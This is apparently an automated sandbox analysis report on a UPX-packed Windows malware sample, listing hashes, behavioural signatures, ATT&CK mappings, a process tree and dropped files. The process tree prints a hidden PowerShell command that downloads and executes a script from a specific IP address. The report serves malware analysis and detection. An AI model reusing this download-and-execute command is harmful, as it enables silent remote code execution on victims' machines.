ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
23/05/2024, 18:58

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General

Target

ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe
Size

2.6MB
MD5

932a2b0f00ce7406a03590142d7418bc
SHA1

67b28f17cee2ca441ff511cab32c60e210baea55
SHA256

ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee
SHA512

0c16bd2b105bf9a1da98073e1d11e5d417f0cd1ba5c872b46ff64c793c8caaf212353e3ff21deea2c10e450d814d41b02c82f82616189aa25d96789f968a538c
SSDEEP

49152:t+UIsZarvwaSte+aMkkb1qE1o7XT9/14DM:3parvxue+alkjkXT9/14D

Score

10^/10

execution upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://222.186.141.207:8895/R29kTG9hZA==

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	392	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
392	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4396	Windows UP.exe

UPX packed file 26 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4016-23-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-26-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-25-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-62-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-68-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-66-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-64-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-60-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-56-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-52-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-50-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-48-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-46-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-44-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-70-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-36-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-34-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-32-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-31-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-58-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-54-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-42-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-40-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-38-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-28-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral2/memory/4016-27-0x0000000010000000-0x000000001003E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
392	powershell.exe
392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	392	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe
4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe
4396	Windows UP.exe
4396	Windows UP.exe
4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 4804	4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe	82
PID 4016 wrote to memory of 4804	4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe	82
PID 4016 wrote to memory of 4804	4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe	82
PID 4016 wrote to memory of 4396	4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe	84
PID 4016 wrote to memory of 4396	4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe	84
PID 4016 wrote to memory of 4396	4016	ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe	84
PID 4804 wrote to memory of 392	4804	cmd.exe	85
PID 4804 wrote to memory of 392	4804	cmd.exe	85
PID 4804 wrote to memory of 392	4804	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe
"C:\Users\Admin\AppData\Local\Temp\ae0dc28c73ac5b74fe1049204e4e1c8b46e9b605240da80ca515e974945352ee.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://222.186.141.207:8895/R29kTG9hZA=='))"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://222.186.141.207:8895/R29kTG9hZA=='))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:392
- C:\ProgramData\ini\Windows UP.exe
  "C:\ProgramData\ini\Windows UP.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\ini\Windows UP.exe

Filesize
1.1MB

MD5
dc8792077ca599dfda04754132404c60

SHA1
256c309a710b4c2c3820711f2cf7f483ae67320b

SHA256
b2e8005c41bb19989cae0776ec087679ab49c91b5279d55b158e20473c657e16

SHA512
d96542d0b06a1409bbf6c1088292c59b6fbdd098a5f867c20fc8f93db7e61e3f62eb548491960ae6db2da699a2058b02bb95a82b31ed74a77b5039ea44bde285

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dkp0qkaj.bcc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/392-7-0x0000000004FC0000-0x00000000055E8000-memory.dmp

Filesize
6.2MB

Download
memory/392-20-0x0000000005900000-0x0000000005C54000-memory.dmp

Filesize
3.3MB

Download
memory/392-5-0x0000000004910000-0x0000000004946000-memory.dmp

Filesize
216KB

Download
memory/392-8-0x0000000004F50000-0x0000000004F72000-memory.dmp

Filesize
136KB

Download
memory/392-9-0x0000000005820000-0x0000000005886000-memory.dmp

Filesize
408KB

Download
memory/392-10-0x0000000005890000-0x00000000058F6000-memory.dmp

Filesize
408KB

Download
memory/392-4-0x000000007411E000-0x000000007411F000-memory.dmp

Filesize
4KB

Download
memory/392-6-0x0000000074110000-0x00000000748C0000-memory.dmp

Filesize
7.7MB

Download
memory/392-21-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Filesize
120KB

Download
memory/392-22-0x0000000005F30000-0x0000000005F7C000-memory.dmp

Filesize
304KB

Download
memory/392-84-0x0000000074110000-0x00000000748C0000-memory.dmp

Filesize
7.7MB

Download
memory/392-81-0x0000000074110000-0x00000000748C0000-memory.dmp

Filesize
7.7MB

Download
memory/392-80-0x000000007411E000-0x000000007411F000-memory.dmp

Filesize
4KB

Download
memory/392-72-0x0000000006410000-0x000000000642A000-memory.dmp

Filesize
104KB

Download
memory/392-71-0x0000000007740000-0x0000000007DBA000-memory.dmp

Filesize
6.5MB

Download
memory/4016-50-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-31-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-60-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-56-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-52-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-66-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-48-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-46-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-44-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-70-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-36-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-34-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-32-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-64-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-58-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-54-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-42-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-40-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-38-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-28-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-27-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-68-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-62-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-23-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-26-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4016-25-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/4396-78-0x0000000010000000-0x0000000010024000-memory.dmp

Filesize
144KB

Download
memory/4396-73-0x0000000010000000-0x0000000010024000-memory.dmp

Filesize
144KB

Download